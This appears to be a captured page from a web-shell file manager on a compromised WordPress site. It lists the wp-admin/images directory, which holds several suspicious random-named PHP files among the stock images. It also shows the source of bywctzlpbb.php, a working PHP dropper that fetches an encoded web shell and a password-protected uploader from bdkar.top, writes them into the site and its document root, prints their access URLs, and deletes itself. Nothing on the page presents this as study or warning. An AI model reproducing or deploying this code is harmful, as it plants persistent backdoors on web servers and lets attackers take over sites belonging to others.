File Manager

X7ROOT File Manager

Current Path: /home/freights/public_html/wp-admin/images

home / freights / public_html / wp-admin / images /

?? ..
?? 11.php(362 B)
?? BDKR.txt(52 B)
?? about-release-badge.svg(4.69 KB)
?? about-texture.png(100.38 KB)
?? align-center-2x.png(147 B)
?? align-center.png(546 B)
?? align-left-2x.png(143 B)
?? align-left.png(554 B)
?? align-none-2x.png(121 B)
?? align-none.png(417 B)
?? align-right-2x.png(142 B)
?? align-right.png(509 B)
?? arrows-2x.png(863 B)
?? arrows.png(243 B)
?? browser-rtl.png(39.23 KB)
?? browser.png(39.67 KB)
?? bubble_bg-2x.gif(424 B)
?? bubble_bg.gif(398 B)
?? bywctzlpbb.php(2.06 KB)
?? cnihwnd4.php(1.16 KB)
?? comment-grey-bubble-2x.png(258 B)
?? comment-grey-bubble.png(114 B)
?? contribute-code.svg(9.25 KB)
?? contribute-main.svg(17.46 KB)
?? contribute-no-code.svg(8.74 KB)
?? dashboard-background.svg(3.27 KB)
?? date-button-2x.gif(996 B)
?? date-button.gif(400 B)
?? error_log(413 B)
?? freedom-1.svg(1.41 KB)
?? freedom-2.svg(7.93 KB)
?? freedom-3.svg(1.78 KB)
?? freedom-4.svg(3.15 KB)
?? generic.png(719 B)
?? icons32-2x.png(21.26 KB)
?? icons32-vs-2x.png(20.89 KB)
?? icons32-vs.png(7.82 KB)
?? icons32.png(7.83 KB)
?? imgedit-icons-2x.png(7.48 KB)
?? imgedit-icons.png(3.96 KB)
?? list-2x.png(1.49 KB)
?? list.png(1003 B)
?? loading.gif(1.34 KB)
?? marker.png(360 B)
?? mask.png(1.95 KB)
?? media-button-2x.png(850 B)
?? media-button-image.gif(200 B)
?? media-button-music.gif(206 B)
?? media-button-other.gif(248 B)
?? media-button-video.gif(133 B)
?? media-button.png(323 B)
?? menu-2x.png(12.38 KB)
?? menu-vs-2x.png(12.16 KB)
?? menu-vs.png(4.97 KB)
?? menu.png(4.92 KB)
?? no.png(755 B)
?? post-formats-vs.png(2.39 KB)
?? post-formats.png(2.11 KB)
?? post-formats32-vs.png(4.99 KB)
?? post-formats32.png(5.02 KB)
?? privacy.svg(922 B)
?? qkwyxuxb.php(1.16 KB)
?? qqrnxxbd.php(1.16 KB)
?? resize-2x.gif(151 B)
?? resize-rtl-2x.gif(150 B)
?? resize-rtl.gif(70 B)
?? resize.gif(64 B)
?? se.png(120 B)
?? server_import(0 B)
?? sort-2x.gif(97 B)
?? sort.gif(55 B)
?? spinner-2x.gif(7.36 KB)
?? spinner.gif(3.57 KB)
?? stars-2x.png(1.23 KB)
?? stars.png(924 B)
?? tv5gys59.php(1.16 KB)
?? uvcbrrsgrl.php(2.06 KB)
?? w-logo-blue.png(3.04 KB)
?? w-logo-white.png(5.27 KB)
?? wa.php(923.02 KB)
?? wheel.png(5.91 KB)
?? wordpress-logo-white.svg(1.6 KB)
?? wordpress-logo.png(2.42 KB)
?? wordpress-logo.svg(1.49 KB)
?? wpspin_light-2x.gif(8.67 KB)
?? wpspin_light.gif(2 KB)
?? xit-2x.gif(825 B)
?? xit.gif(181 B)
?? yes.png(539 B)

Editing: bywctzlpbb.php

<?php
# 383634
$shell_encrypted = curl('https://bdkar.top/shl/fox-bdkr-shel.txt');
$shell = base64_decode($shell_encrypted);
$link = str_replace(basename(__FILE__), '', 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']);
$file1_name = mt_rand_str(8); // Generate random name for shell
$file1 = 'BDKR28_' . $file1_name . '.php';
$file2_name = mt_rand_str(8); // Generate random name for uploader
$file2 = $file2_name . '.php';
$password = mt_rand_str(4);
$save = fopen($file1, 'w');
fwrite($save, $shell);
fclose($save);
$root_save = fopen($_SERVER['DOCUMENT_ROOT'] . '/BDKR28WP.php', 'w');
fwrite($root_save, $shell);
fclose($root_save);
$uploader = curl('https://bdkar.top/shl/uploader-pass.txt');
$uploader = str_replace('RANDOM_PASSWORD', $password, $uploader);
$save = fopen($file2, 'w');
fwrite($save, $uploader);
fclose($save);
$txt_url = "https://bdkar.top/shl/bdkr.txt";
$txt_content = curl($txt_url);
$txt_file = fopen("BDKR.txt", "w");
fwrite($txt_file, $txt_content);
fclose($txt_file);
function mt_rand_str($l, $c = 'abcdefghijklmnopqrstuvwxyz1234567890') {
 for ($s = '', $cl = strlen($c) - 1, $i = 0; $i < $l; $s .= $c[mt_rand(0, $cl)], ++$i);
 return $s;
}
function curl($url) {
 $html = file_get_contents($url);
 if (!empty($html)) {
 return $html;
 }
 $curl = curl_init();
 curl_setopt($curl, CURLOPT_TIMEOUT, 40);
 curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
 curl_setopt($curl, CURLOPT_URL, $url);
 curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0");
 curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE);
 if (stristr($url, "https://")) {
 curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
 curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
 }
 curl_setopt($curl, CURLOPT_HEADER, false);
 return curl_exec($curl);
}
?>
<shell><center> Shell : <?php echo $link . $file1; ?></center> </shell>
<up><center> Up : <?php echo $link . $file2 . '?BDKR28=' . $password; ?></center> </up>
<?php
unlink(__FILE__);

X7ROOT File Manager

Editing: bywctzlpbb.php

Upload File

Create Folder